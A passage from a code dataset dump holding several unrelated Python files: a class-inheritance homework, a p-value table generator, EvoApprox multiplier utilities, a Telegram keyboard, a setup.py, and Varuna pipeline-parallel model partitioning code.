'hr-hr-hr-hr-hr-hr-hr-hr-hr-hr'\n\n def __init__(self):\n pass\n\n def about(self):\n super().about()\n print('I have {}.'.format(self.different))\n\n\nclass Duck(Bird): #\n my_type = 'Duck'\n area = 'a lake'\n prefered_food = 'worms'\n sound = 'quack quack'\n useful = 'I give a dietary meat'\n\n def __init__(self, name=''):\n self.my_name = name\n\n def about(self):\n if len(self.my_name):\n print('My name is {}'.format(self.my_name))\n else:\n print('My name is ... oops. Parents forgot to give me a name.')\n super().about()\n print('I am useful because {}.'.format(self.useful))\n\nclass Chicken(Bird): #\n my_type = 'Chicken'\n area = 'about house'\n prefered_food = 'seeds and worms'\n sound = 'Cock-a-rat'\n useful = 'I give an egg'\n\n def __init__(self, name=''):\n self.my_name = name\n\n def about(self):\n if len(self.my_name):\n print('My name is {}'.format(self.my_name))\n else:\n print('My name is ... oops. Parents forgot to give me a name.')\n super().about()\n print('I am useful because {}.'.format(self.useful))\n\nclass Goose(Bird): #\n my_type = 'Goose'\n area = 'a lake'\n prefered_food = 'seeds and worms'\n sound = 'quoock quoock'\n useful = 'I give a fluff'\n\n def __init__(self, name=''):\n self.my_name = name\n\n def about(self):\n if len(self.my_name):\n print('My name is {}'.format(self.my_name))\n else:\n print('My name is ... oops. Parents forgot to give me a name.')\n super().about()\n print('I am useful because {}.'.format(self.useful))\n\n\ndef main():\n enim = Animal()\n enim.about()\n enim.speak()\n print()\n hoofed = Hoofed()\n hoofed.about()\n hoofed.speak()\n print()\n\n cow = Cow('Дуня')\n cow.about()\n cow.speak()\n print()\n\n duck = Duck()\n duck.about()\n duck.speak()\n\n exit(0)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"YudinYury/Python_Netology_homework","sub_path":"less_3_6_hw_classes.py","file_name":"less_3_6_hw_classes.py","file_ext":"py","file_size_in_byte":5150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"24296882155","text":"from scipy.stats import norm\n\ndef pvalue (p, q, N) :\n theta = abs(p-q)\n var = p*(1-p) \n bn = (2*N)**0.5 * theta / var**0.5\n ret = (1 - norm.cdf(bn))*2\n return ret\n\ndef pvalue_N (p, q, alpha) :\n theta = abs(p-q)\n var = p*(1-p) \n rev = abs(norm.ppf (alpha/2))\n N = 2 * (rev * var**0.5 / theta)** 2\n return int(N+1)\n\ndef alphatable (ps, dps, alpha) :\n values = []\n for p in ps :\n row=[]\n for dp in dps :\n q = p+dp\n r = pvalue_N (p,q,alpha) if 1 >= q >= 0 else -1\n row.append (r)\n values.append (row)\n return values\n \ndef pprint(ps,dps,table, format, fileFormat = \"latex\") :\n text = []\n if fileFormat == \"latex\" :\n cc = \"r\" + (\"|r\" * len(dps))\n text.append(\"\\\\begin{tabular}{\" + cc + \"}\")\n row = [\"\"] + [ r\"\\textbf{%1.3f}\" % _ for _ in dps ]\n text.append(\"&\".join(row) + r\"\\\\\\hline\")\n for p,line in zip(ps,table) :\n row = [\"\\\\textbf{%1.2f}\" % p] + \\\n [ format % _ if _ != -1 else \"\" for _ in line ]\n text.append(\"&\".join(row) + r\"\\\\\\hline\")\n text.append(\"\\\\end{tabular}\")\n return \"\\n\".join(text)\n else :\n # TSV\n row = [\"\"] + [ r\"%1.3f\" % _ for _ in dps ]\n text.append(\"\\t\".join(row) )\n for p,line in zip(ps,table) :\n row = [f\"{p:1.2f}\"] + \\\n [ format % _ if _ != -1 else \"\" for _ in line ]\n text.append(\"\\t\".join(row) )\n return \"\\n\".join(text)\n \n \nif __name__ == \"__main__\" :\n print (\"norm.ppf(0.025)\",norm.ppf (0.025)) # -1.9599639845400545\n ps = [0.001, 0.002] + [ 0.05*i for i in range (1,20) ]\n dps = [ -0.2, -0.1, -0.02, -0.01, -0.002, -0.001,\n 0.2, 0.1, 0.02, 0.01, 0.002, 0.001, ]\n dps.sort()\n t = alphatable (ps, dps, 0.05)\n print (pprint (ps, dps, t, \"%d\", \"latex\"))\n print (pprint (ps, dps, t, \"%d\", \"html\")) ","repo_name":"sdpython/ensae_teaching_cs","sub_path":"_todo/pvalues/pvalues.py","file_name":"pvalues.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"27"} +{"seq_id":"71250630792","text":"\"\"\"\nUtilities for working with the EvoApprox Libray\n\"\"\"\nimport importlib\nimport pkgutil\nimport re\nfrom typing import Any, List, Tuple\n\nimport evoapproxlib as eal\nimport numpy as np\n\n\ndef module_names(filter_str: str = \"\") -> List[str]:\n \"\"\"\n List all available modules in EvoApproxLib\n\n Args:\n filter_str: Only return moduls whose name contains a certain substring, i.e. `mul8s`. Defaults to \"\".\n\n Raises:\n ImportError: Loading of library failed\n\n Returns:\n List of (filtered) available module names\n \"\"\"\n\n modules = [m.name for m in pkgutil.iter_modules(eal.__path__)]\n return [m for m in modules if filter_str in m]\n\n\ndef attribute(multiplier_name: str, attr_name: str) -> Any:\n \"\"\"\n Read Attribute from EvoApprox module\n\n Args:\n multiplier_name: Name of the target multiplier\n attr_name: Name of the target attribute\n\n Returns:\n Target attribute value\n \"\"\"\n mul = load_multiplier(multiplier_name)\n return getattr(mul, attr_name)\n\n\ndef load_multiplier(multiplier_name):\n \"\"\"\n Try loading a multiplier module from the EvoApprox library\n\n Args:\n multiplier_name: String with name of target multiplier\n\n Raises:\n ImportError: Multiplier module could not be loaded\n\n Returns:\n EvoApprox module\n \"\"\"\n try:\n multiplier = importlib.import_module(f\"evoapproxlib.{multiplier_name}\")\n except (ModuleNotFoundError, ImportError) as exc:\n raise ImportError(\n f\"Importing {multiplier_name} from EvoApproxLib failed. Possibly due to unavailable EvoApproxLib.\"\n ) from exc\n return multiplier\n\n\ndef approx_multiplication(multiplier_name, range_x, range_y, signed, bitwidth):\n \"\"\"\n Calculate approximate multiplication result of supplied\n approximate multiplier along a given range.\n\n Args:\n multiplier: The `evoapprox` class to evaluate\n range_x: Iterable of first operand range\n range_y: Iterable of second operand range\n signed: Signed or unsigned multiplication\n bitwidth: Bitwidth of approximate multiplier\n\n Returns:\n Tuple of:\n - 2D Array of the approximate multiplication result across the\n Cartesian product of the supplied input operand ranges\n - 2D Array of x operands\n - 2D Array of y operands\n \"\"\"\n\n multiplier = load_multiplier(multiplier_name)\n x_2d, y_2d = np.meshgrid(range_x, range_y, indexing=\"ij\")\n approx = np.vectorize(multiplier.calc)\n res = approx(x_2d, y_2d)\n if signed:\n res[res >= 2 ** (2 * bitwidth - 1)] -= 2 ** (2 * bitwidth)\n return res, x_2d, y_2d\n\n\ndef error_map(multiplier_name: str) -> np.ndarray:\n \"\"\"\n Generate the error map for a given multiplier,\n i.e. the difference between accurate and approximate result across the entire input space\n\n Args:\n multiplier_name: Name for target multiplier\n\n Returns:\n Error Map for multiplier input space\n \"\"\"\n # Infer bitwidth from multiplier name\n bitwidth = bitwidth_from_name(multiplier_name)\n # Infer signedness from multiplier name\n signed = signedness_from_name(multiplier_name)\n\n if signed:\n x = np.arange(-(2 ** (bitwidth - 1)), 2 ** (bitwidth - 1))\n else:\n x = np.arange(2**bitwidth)\n\n res, x_2d, y_2d = approx_multiplication(multiplier_name, x, x, signed, bitwidth)\n return res - (x_2d * y_2d)\n\n\ndef error_distribution(\n multiplier_name: str,\n fan_in: int = 1,\n) -> Tuple[Any, Any]:\n \"\"\"\n Calculate the Mean and Standard Deviation of an EvoApprox multiplier\n\n Args:\n multiplier_name: Name of the desired multiplier, e.g. `mul8s_1KV6`\n fan_in: Compensates the reduced standard deviation from repeated sampling\n when a large number of multiplications is accumulated in a neuron.\n Defaults to `1`.\n Returns:\n Tuple of:\n - Mean of the approximate multiplication error, scaled to the neuron output\n - Standard deviation of approximate multiplication error, scaled to the neuron output\n \"\"\"\n error = error_map(multiplier_name)\n return np.mean(error) * fan_in, np.std(error) * np.sqrt(fan_in)\n\n\ndef bitwidth_from_name(multiplier_name: str) -> int:\n \"\"\"\n Helper function to extract the bitwidth from a given multiplier name\n\n Args:\n multiplier_name: Target multiplier name\n\n Returns:\n The multipliers bitwidth, i.e. 8 for `mul8s_...`\n \"\"\"\n multiplier_prefix = multiplier_name.split(\"_\")[0]\n return int(re.sub(\"[^0-9]\", \"\", multiplier_prefix))\n\n\ndef signedness_from_name(multiplier_name: str) -> bool:\n \"\"\"\n Helper function to extract the signedness for a given multiplier name\n\n Args:\n multiplier_name: Target multiplier name\n\n Returns:\n The multipliers signedness, i.e. True for `mul8s_...`\n \"\"\"\n multiplier_prefix = multiplier_name.split(\"_\")[0]\n return multiplier_prefix[-1] == \"s\"\n\n\ndef lut(\n multiplier_name: str,\n) -> np.ndarray:\n \"\"\"\n Generate Lookup-Table for supplied EvoApprox multiplier\n\n Args:\n multiplier_name: Name of the desired multiplier, e.g. `mul8s_1KV6`\n bitwidth: Bitwidth of the multiplier.\n If not supplied, this is inferred from the `multiplier_name`. Defaults to None.\n signed: Signedness of the multiplier.\n If not supplied, this is inferred from the `multiplier_name`. Defaults to None.\n\n Raises:\n ImportError: Raised if the supplied multiplier name could not be loaded from the evoapprox library.\n\n Returns:\n Lookup table of the Approximate Multiplication result across the input operand range.\n \"\"\"\n\n # Infer bitwidth from multiplier name\n bitwidth = bitwidth_from_name(multiplier_name)\n # Infer signedness from multiplier name\n signed = signedness_from_name(multiplier_name)\n\n x = np.arange(2**bitwidth)\n\n # Build signed LUT so that values follow ordering of unsigned Integers\n # speeds up inference because indices don't have to be converted\n x[x >= (2 ** (bitwidth - 1))] -= 2**bitwidth\n # TESTING: Does this need to be run for unsigned multipliers?\n\n if not signed:\n x = np.abs(x)\n\n amul_lut, _, _ = approx_multiplication(multiplier_name, x, x, signed, bitwidth)\n\n if not signed:\n amul_lut[128:] *= -1\n amul_lut[:, 128:] *= -1\n\n return amul_lut\n","repo_name":"etrommer/torch-approx","sub_path":"src/torchapprox/utils/evoapprox.py","file_name":"evoapprox.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"30410168268","text":"from aiogram.types.inline_keyboard import InlineKeyboardButton, InlineKeyboardMarkup\nfrom aiogram.utils.callback_data import CallbackData\n\n\nclass WelcomeStateInlineKeyboard:\n age_callback = CallbackData('age', 'sign_num')\n success_callback = CallbackData('success', 'value')\n\n @classmethod\n def create_age_keyboard(cls):\n return InlineKeyboardMarkup(inline_keyboard=\n [[InlineKeyboardButton(text='-5',\n callback_data=cls.age_callback.new(sign_num=-5)),\n InlineKeyboardButton(text='-1',\n callback_data=cls.age_callback.new(sign_num=-1)),\n InlineKeyboardButton(text='+1',\n callback_data=cls.age_callback.new(sign_num=1)),\n InlineKeyboardButton(text='+5',\n callback_data=cls.age_callback.new(sign_num=5))],\n [InlineKeyboardButton(text=_('Confirm'),\n callback_data='success')]], row_width=4)\n","repo_name":"BTMAN1489-1/International_TelegramBot","sub_path":"keyboards/inline/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16150249520","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Filename: setup.py\nimport setuptools\n\nwith open('README.md', 'r') as fh:\n long_description = fh.read()\n\nwith open('LICENSE', 'r') as fh:\n license = fh.read()\n\nsetuptools.setup(\n\n # Package information\n name='moxie', # Package name\n version='0.1.0', # Package version\n description='A stateful session wrapper for python requests',\n long_description=long_description,\n long_description_content_type='text/markdown',\n license=license,\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n ],\n\n # Package definitions and requirements\n packages=setuptools.find_packages(),\n install_requires=[\n 'requests',\n 'requests-toolbelt'\n ],\n\n # Contact information\n author='Taylor Fox Dahlin',\n author_email='tfdahlin@gmail.com',\n url='https://github.com/tfdahlin/moxie',\n\n # Tests\n test_suite='nose.collector',\n tests_require=['nose'],\n\n # Miscellaneous\n zip_safe=False,\n)\n","repo_name":"tfdahlin/moxie","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"27816720340","text":"import torch\nimport torch.distributed as dist\nfrom torch.nn import Module\n\nimport os, sys\nimport inspect\nimport time\nimport pickle\n\nfrom .utils import save_rng_states, restore_rng_states, VARUNA_TEMP_FOLDER\n\nfrom collections import OrderedDict \n\nclass CutPoint(Module):\n\n def __init__(self):\n super(CutPoint, self).__init__()\n # start with 1 and end before last stage (total num_stages - 1 )\n self.cp_index = -1\n self.cp_func = None\n \n self.set_ret_val_func = None\n self.device = None\n self.send_fn = self.recv_fn = None\n self.stage = -1\n self.fp16 = False\n self.pruning = False\n self.barrier_event = None\n self.boundary_func = None\n self.forward_input_shapes = None\n \n def set_pruning(self, boolean):\n self.pruning = boolean\n\n def forward(self, *inputs, **kwargs):\n # not set by ModelParallel, pass through as is\n if self.barrier_event is not None:\n self.barrier_event.record()\n if self.boundary_func is not None:\n self.boundary_func()\n \n if self.cp_func is None:\n return inputs[0]\n\n if len(inputs) < 0 or (len(inputs) == 1 and inputs[0] is None):\n if self.pruning:\n inputs = (torch.tensor([-1.0], requires_grad = True))\n else:\n dtype = torch.float16 if self.fp16 else torch.float32\n inputs = torch.tensor([-1.0], requires_grad = True, dtype=dtype).to(self.device)\n inputs = (inputs,)\n\n if isinstance(self.cp_func, torch.autograd.Function):\n out = self.cp_func.apply(*inputs, **kwargs) \n if self.cp_index == (self.stage + 1):\n self.set_ret_val_func(out) \n return out\n \n return self.cp_func(*inputs, **kwargs)\n\n def set_cp_func(self):\n \n is_in_next_stage = self.cp_index == self.stage\n is_in_prev_stage = self.cp_index == (self.stage + 1)\n\n class CutpointFunction(torch.autograd.Function):\n\n @staticmethod\n def forward(ctx, i):\n # recieve activations\n if is_in_next_stage and self.recv_fn is not None:\n i = self.recv_fn()\n # send activations\n elif is_in_prev_stage and self.send_fn is not None:\n self.send_fn(i)\n return i\n\n @staticmethod\n def backward(ctx, grad_output):\n # receive gradients.\n if is_in_prev_stage and self.recv_fn is not None:\n grad_output = self.recv_fn(grads = True)\n # send gradients\n elif is_in_next_stage and self.send_fn is not None:\n self.send_fn(grad_output, grads = True)\n return grad_output\n \n c = CutpointFunction()\n self.cp_func = c\n\n\ndef dry_run(model, get_batch, from_cache):\n # executes the forward pass of the module on dummy inputs. \n # Sets the order in which modules are used and the total number of cutpoints declared.\n\n dummy_inputs = get_batch(1, device='cpu')\n ordered_modules = OrderedDict()\n input_shapes = {}\n num_cutpoints = 0\n\n def get_hook(name):\n def add_module_hook(module, inputs, _output):\n if name not in ordered_modules:\n ordered_modules[name] = module\n if isinstance(module, CutPoint):\n # TODO: if len(inputs) > 1: error\n input_shapes[name] = [list(inputs[0].size())]\n return add_module_hook\n\n modules = model.named_modules()\n hooks = []\n\n for name, module in modules:\n if name == \"\":\n continue\n hooks.append( module.register_forward_hook(get_hook(name)))\n if isinstance(module, CutPoint):\n num_cutpoints += 1\n\n print(\"Num cutpoints is\", num_cutpoints)\n \n # TODO: do this extra compute on GPU? large models...\n model(**dummy_inputs)\n input_shapes_1 = input_shapes\n input_shapes = dict()\n dummy_inputs_2 = get_batch(2, 'cpu')\n model(**dummy_inputs_2)\n input_shapes_2 = input_shapes\n input_shapes = input_shapes_1\n\n shape_indices_to_change = dict()\n for name in input_shapes:\n shape_1 = input_shapes_1[name][0]\n shape_2 = input_shapes_2[name][0]\n assert len(shape_1) == len(shape_2)\n indices_to_change = []\n for i, d1 in enumerate(shape_1):\n d2 = shape_2[i]\n if d1 == 1 and d2 == 2:\n indices_to_change.append(i)\n else:\n assert d1 == d2\n shape_indices_to_change[name] = [indices_to_change]\n\n for h in hooks:\n h.remove()\n\n # TODO: move to proper temp location\n with open(\"_tmp_ord_mod\",'wb') as f:\n pickle.dump(list(ordered_modules.keys()),f)\n with open(\"_tmp_inp_shapes\",'wb') as f:\n pickle.dump(input_shapes,f)\n with open(\"_tmp_shape_changes\",'wb') as f:\n pickle.dump(shape_indices_to_change,f)\n\n return ordered_modules, input_shapes, \\\n shape_indices_to_change, num_cutpoints\n\ndef read_dry_run_out(model):\n with open(\"_tmp_ord_mod\",'rb') as f:\n ordered_modules_keys = pickle.load(f)\n\n ordered_modules = OrderedDict()\n for n in ordered_modules_keys:\n path = n.split(\".\")\n modules = model._modules\n for i in range(len(path) - 1):\n modules = modules[path[i]]._modules\n ordered_modules[n] = modules[path[-1]]\n\n with open(\"_tmp_inp_shapes\",'rb') as f:\n input_shapes = pickle.load(f)\n with open(\"_tmp_shape_changes\",'rb') as f:\n shape_indices_to_change = pickle.load(f)\n num_cutpoints = len(input_shapes)\n \n return ordered_modules, input_shapes, \\\n shape_indices_to_change, num_cutpoints\n\n\nclass PartitionedModel(Module):\n\n def __init__(self, module, rank, local_rank, device, stage_to_rank_map, fp16, shared_weights=None):\n super(PartitionedModel, self).__init__()\n self.module = module\n self.num_stages = len(stage_to_rank_map)\n self.stage_to_rank_map = stage_to_rank_map\n self.rank = rank\n self.local_rank = local_rank\n self.fp16 = fp16\n self.shared_weights = shared_weights\n \n \n self.grads_send_queue = self.acts_send_queue = None\n self.acts_queue = self.grads_queue = None\n \n if device == \"cpu\":\n # torch.set_device(\"cpu\")\n self.device = torch.device(\"cpu\")\n else:\n torch.cuda.set_device(device)\n self.device = torch.device(\"cuda\", device)\n\n self.ret_val = None\n self.pre_cp = None\n self.post_cp = None\n\n self.stage = -1\n for stage in self.stage_to_rank_map:\n if self.rank in self.stage_to_rank_map[stage]:\n self.stage = stage\n break\n else:\n raise ValueError(\"Rank \" + self.rank + \" not found in stage to rank map!\")\n\n # self.logfile = open(\"wait_logs\" + str(self.rank),\"w\")\n\n def initialize(self, get_batch_fn, from_cache=False):\n # print(\"Initializing partitioned model!\")\n start = time.time()\n self.dry_run(get_batch_fn, from_cache)\n if self.shared_weights is not None:\n self.find_shared_weight_stages()\n print(\"dry run time\", time.time() - start)\n self.prep_cutpoints()\n self.remove_unused_parameters()\n self.model_pruned = True\n\n\n def dry_run(self, get_batch, from_cache):\n\n if self.local_rank == 0 and not (from_cache and \\\n all([os.path.exists(f) for f in [\"_tmp_ord_mod\",\"_tmp_inp_shapes\",\"_tmp_shape_changes\"]])):\n\n self.ordered_modules, self.input_shapes, self.shape_indices_to_change, \\\n self.num_cutpoints = dry_run(self.module, get_batch, from_cache)\n dist.barrier()\n else:\n dist.barrier()\n self.ordered_modules, self.input_shapes, self.shape_indices_to_change, \\\n self.num_cutpoints = read_dry_run_out(self.module)\n \n if self.local_rank == 0 and not (from_cache and os.path.exists(\"_tmp_pstage_mapping\")):\n dummy_inputs = get_batch(1, \"cpu\")\n # TODO: do we really need these many dry runs?\n self.trace_and_store_param_access(dummy_inputs)\n dist.barrier()\n else:\n dist.barrier()\n with open(\"_tmp_pstage_mapping\", 'rb') as f:\n self.param_name_to_pstage = pickle.load(f)\n\n def trace_and_store_param_access(self, dummy_inputs):\n param_access = dict()\n for p in self.module.parameters():\n param_access[p] = set()\n\n self.track_cp = 0\n \n def trace_param_access(frame, event, arg):\n if event != 'call':\n return\n co = frame.f_code\n func_name = co.co_name\n if func_name in ['write','__hash__']:\n return\n arg_info = inspect.getargvalues(frame)\n arg_values = [arg_info.locals[n] for n in arg_info.args]\n for arg in arg_values:\n if isinstance(arg, torch.nn.Parameter):\n if arg in param_access:\n param_access[arg].add(self.track_cp)\n \n def boundary_func():\n self.track_cp += 1\n for name, module in self.module.named_modules():\n if isinstance(module, CutPoint):\n module.boundary_func = boundary_func\n sys.settrace(trace_param_access)\n with torch.no_grad():\n self.module(**dummy_inputs)\n sys.settrace(None)\n self.track_cp = None\n\n for name in self.ordered_modules:\n m = self.ordered_modules[name]\n if isinstance(m, CutPoint):\n m.boundary_func = None\n\n param_name_to_pstage = dict()\n for n,p in self.module.named_parameters():\n assert len(param_access[p]) < 2, f\"Parameter {n} in multiple cuts: {param_access[p]}, mark as two shared parameters?\"\n accesed_cps = list(param_access[p])\n if len(accesed_cps) > 0:\n if n not in param_name_to_pstage:\n param_name_to_pstage[n] = accesed_cps[0]\n assert (param_name_to_pstage[n] == int(accesed_cps[0])), \\\n f\"Parameter {n} accesed in cut {accesed_cps[0]} but was created in cut {param_name_to_pstage[n]}!\"\n\n cp_index = 0\n modules = self.ordered_modules\n for name in modules:\n module = modules[name]\n if isinstance(module, CutPoint):\n cp_index += 1\n continue\n for n,p in module.named_parameters(recurse=False):\n full_name = name + '.' + n\n if full_name not in param_name_to_pstage:\n param_name_to_pstage[full_name] = cp_index\n\n self.param_name_to_pstage = param_name_to_pstage\n\n with open(\"_tmp_pstage_mapping\",'wb') as f:\n pickle.dump(self.param_name_to_pstage,f)\n \n \n def find_shared_weight_stages(self):\n # TODO: this method is wrong, do trace thing\n all_shared_weights = []\n for w_pair in self.shared_weights:\n all_shared_weights += [w for w in w_pair]\n curr_stage = 0\n weight_stages = dict()\n for m in self.ordered_modules:\n module = self.ordered_modules[m]\n if isinstance(module, CutPoint):\n curr_stage += 1\n continue\n for w in all_shared_weights:\n param_name = w.split(\".\")[-1]\n module_name = w[ : -len(param_name)-1]\n if m == module_name and hasattr(module, param_name):\n weight_stages[w] = curr_stage\n break\n elif m == module_name:\n print(\"Here we have the peculiar case of the missing weight\", m, param_name)\n print(getattr(module,param_name))\n \n for w in all_shared_weights:\n if w not in weight_stages:\n param_name = w.split(\".\")[-1]\n if hasattr(self.module, param_name):\n weight_stages[w] = curr_stage\n\n cuts_per_stage = (self.num_cutpoints + 1)/ self.num_stages\n shared_weight_stages = []\n for w_pair in self.shared_weights:\n for w in w_pair:\n assert w in weight_stages, \"Shared parameter {} not found in model!\".format(w)\n weight_stages[w] = int(weight_stages[w] // cuts_per_stage)\n shared_weight_stages.append((weight_stages[w_pair[0]], weight_stages[w_pair[1]]))\n\n self.shared_weight_stages = shared_weight_stages\n\n\n# \"\"\" setting actual cutpoint functions for comunication. \"\"\"\n def prep_cutpoints(self):\n\n def attach_meta(cutpoint, index):\n cutpoint.cp_index = index\n cutpoint.num_stages = self.num_stages\n cutpoint.set_ret_val_func = self.set_ret_val\n cutpoint.stage = self.stage\n cutpoint.device = self.device\n cutpoint.fp16 = self.fp16\n cutpoint.set_cp_func()\n\n self.cuts_per_stage = (self.num_cutpoints + 1) // self.num_stages\n\n modules = self.ordered_modules\n index = 1\n assigned_index = 1\n\n self.forward_input_shapes = []\n self.backward_grad_shapes = []\n\n for name in modules:\n module = modules[name]\n if name == \"\":\n continue\n if isinstance(module, CutPoint):\n if (index % self.cuts_per_stage == 0):\n # pre cp\n if assigned_index == self.stage:\n self.forward_input_shapes = self.input_shapes[name]\n self.fwd_inp_shape_changes = self.shape_indices_to_change[name]\n self.pre_cp = module\n # post cp\n if assigned_index == self.stage + 1:\n self.backward_grad_shapes = self.input_shapes[name]\n self.bwd_grad_shape_changes = self.shape_indices_to_change[name]\n self.post_cp = module\n attach_meta(module, assigned_index)\n assigned_index += 1 \n index += 1\n # found all relevant cutpoints, break\n if assigned_index == self.num_stages:\n break\n \n# \"\"\" remove unused modules to save memory. \"\"\"\n def remove_unused_parameters(self):\n\n pre_cp_index = self.stage\n post_cp_index = self.stage + 1\n\n is_used = {}\n used_modules = []\n add_flag = (self.stage == 0)\n \n modules = self.ordered_modules\n\n for name in modules:\n module = modules[name]\n if name == \"\":\n continue\n if isinstance(module, CutPoint):\n if (module.cp_index == pre_cp_index or module.cp_index == post_cp_index): \n add_flag = not add_flag\n else:\n if add_flag:\n used_modules.append(name)\n is_used[name] = add_flag\n\n # any module that is used or has children that are used are needed\n for u in used_modules:\n path = u.split(\".\")\n key = path[0]\n for i in range(1,len(path)):\n is_used[key] = True\n key = key + \".\" + path[i]\n\n for m in is_used:\n if not is_used[m]:\n path = m.split(\".\")\n modules = self.module._modules\n for i in range(len(path) - 1):\n modules = modules[path[i]]._modules\n modules[path[-1]] = None\n modules[path[-1]] = PassThroughModule()\n self.ordered_modules[m] = None\n\n self.check_unused_parameters()\n\n def parameter_names_to_cuts(self):\n\n modules = list(self.ordered_modules.keys())\n\n stage_index = 0\n cp_count = 0\n param_name_to_pstage = dict()\n temp_param_names = []\n\n for name in modules:\n module = self.ordered_modules[name]\n if name == \"\" or module is None:\n continue\n if isinstance(module, CutPoint):\n for p in temp_param_names:\n param_name_to_pstage[p] = stage_index\n temp_param_names = []\n cp_count += 1\n # if cp_count >= self.cuts_per_stage:\n # break\n stage_index += 1\n else:\n for pname,_ in module.named_parameters(recurse=False):\n param_name = name + \".\" + pname\n temp_param_names.append(param_name)\n\n\n # last cutpoint\n # if cp_count < self.cuts_per_stage:\n for p in temp_param_names:\n param_name_to_pstage[p] = stage_index\n # TODO: this is still hard-coded!!!\n param_name_to_pstage[\"lm_head_weight\"] = stage_index\n \n return param_name_to_pstage\n\n def check_unused_parameters(self):\n\n start_pstage = self.cuts_per_stage * self.stage\n end_pstage = self.cuts_per_stage * (self.stage+1)\n\n for n,p in self.module.named_parameters():\n if n not in self.param_name_to_pstage:\n # print(f\"{n} not in pstage map\")\n continue\n pstage = self.param_name_to_pstage[n]\n if pstage != -1 and (pstage < start_pstage or pstage >= end_pstage):\n # to_remove.append(n)\n path = n.split(\".\")\n parent = self.module\n for i in range(len(path) - 1):\n parent = getattr(parent, path[i])\n setattr(parent,path[-1], None)\n \n self.model_pruned = True\n\n def set_ret_val(self, val):\n self.ret_val = val\n\n def set_queues(self, acts_send, grad_send, acts_recv, grad_recv, recompute):\n self.acts_send_queue = acts_send\n self.grads_send_queue = grad_send\n self.acts_queue = acts_recv\n self.grads_queue = grad_recv\n self.recompute_queue = recompute\n\n def set_send_fn(self, recompute = False):\n def send(tensor, grads = False):\n if grads:\n self.grads_send_queue.put(tensor.cpu())\n else:\n if not recompute:\n self.acts_send_queue.put(tensor.cpu())\n\n if self.pre_cp is not None:\n self.pre_cp.send_fn = send\n if self.post_cp is not None:\n self.post_cp.send_fn = send\n\n def set_recv_fn(self, recompute=False):\n acts = None\n if recompute:\n rng_states, acts = self.recompute_queue.get()\n restore_rng_states(rng_states, self.device)\n else:\n acts = self.acts_queue.get() if self.stage > 0 else None\n if self.stage > 0:\n acts = acts.to(self.device) \n\n def recv(grads = False):\n if grads:\n g = self.grads_queue.get().to(self.device)\n return g\n else:\n return acts\n if self.pre_cp is not None:\n self.pre_cp.recv_fn = recv\n if self.post_cp is not None:\n self.post_cp.recv_fn = recv\n return acts\n\n def set_recv_acts(self, shape, receive_rank):\n def recv(grads=False):\n x = torch.zeros(shape, dtype=torch.float16 if self.fp16 else torch.float32)\n dist.recv(x, receive_rank)\n return x.to(self.device)\n if self.pre_cp is not None:\n self.pre_cp.recv_fn = recv\n\n\n def clear_recv_fn(self):\n if self.pre_cp is not None:\n self.pre_cp.recv_fn = None\n if self.post_cp is not None:\n self.post_cp.recv_fn = None\n\n def set_recording_events(self):\n self.recording_events = []\n if self.stage == 0:\n self.recording_events.append(torch.cuda.Event(enable_timing=True))\n in_stage = (self.stage == 0)\n for name in self.ordered_modules:\n module = self.ordered_modules[name]\n if isinstance(module, CutPoint):\n if module.cp_index == self.stage:\n in_stage = True\n if in_stage:\n event = torch.cuda.Event(enable_timing=True)\n module.barrier_event = event\n self.recording_events.append(event)\n if module.cp_index == self.stage + 1:\n in_stage = False\n if self.stage == self.num_stages - 1:\n self.recording_events.append(torch.cuda.Event(enable_timing=True))\n\n def clear_recording_events(self):\n for name in self.ordered_modules:\n module = self.ordered_modules[name]\n if isinstance(module, CutPoint):\n module.barrier_event = None\n\n def elapsed_times(self):\n num_barriers = len(self.recording_events)\n times = []\n for i in range(num_barriers-1):\n times.append(\n self.recording_events[i].elapsed_time(self.recording_events[i+1])\n )\n return times\n\n def forward(self, inputs_as_dict, recompute=False, save_ctx=False, \n recording=False, handle_comm=False):\n \n if save_ctx:\n # if these acts are going to be recomputed\n rng_states = save_rng_states(self.device)\n\n if recording:\n self.set_recording_events()\n if self.stage == 0:\n self.recording_events[0].record()\n\n if handle_comm:\n self.set_send_fn(recompute)\n recv_acts = self.set_recv_fn(recompute)\n else:\n self.clear_recv_fn()\n\n try:\n calc_val = self.module(**inputs_as_dict)\n ret_val = self.ret_val if self.ret_val is not None else calc_val\n except Exception as e:\n if self.ret_val is None:\n raise e\n ret_val = self.ret_val\n self.ret_val = None\n\n if recording:\n if self.stage == self.num_stages - 1:\n self.recording_events[-1].record()\n self.clear_recording_events()\n \n if save_ctx:\n if self.stage > 0:\n recv_acts = recv_acts.cpu()\n ctx = (rng_states, recv_acts)\n self.recompute_queue.put(ctx)\n\n return ret_val \n\n\nclass PassThroughModule(Module):\n\n def __init__(self):\n super(PassThroughModule, self).__init__()\n\n def forward(self,*args,**kwargs):\n return None\n\n\n","repo_name":"microsoft/varuna","sub_path":"varuna/partitioned_model.py","file_name":"partitioned_model.py","file_ext":"py","file_size_in_byte":22712,"program_lang":"python","lang":"en","doc_type":"code","stars":204,"dataset":"github-code","pt":"27"} +{"seq_id":"73326242632","text":"import numpy as np\nimport pickle\nfrom PIL import Image\n\nfrom utils.misc import rescale\n\n\ndef savePickle(data, path):\n \"\"\"Save a pickle file.\n Parameters:\n data : object\n Data to save.\n path : str\n File path to save data to. Must include file extension, e.g.:\n '/path/to/data.p'\n \"\"\"\n with open(path, 'wb') as fp:\n pickle.dump(data, fp, protocol=pickle.DEFAULT_PROTOCOL)\n print(f\"Saved data to {path}.\")\n\n\ndef loadPickle(path):\n \"\"\"Load a pickle file.\n Parameters:\n path : str\n File path to save data to. Must include file extension, e.g.:\n 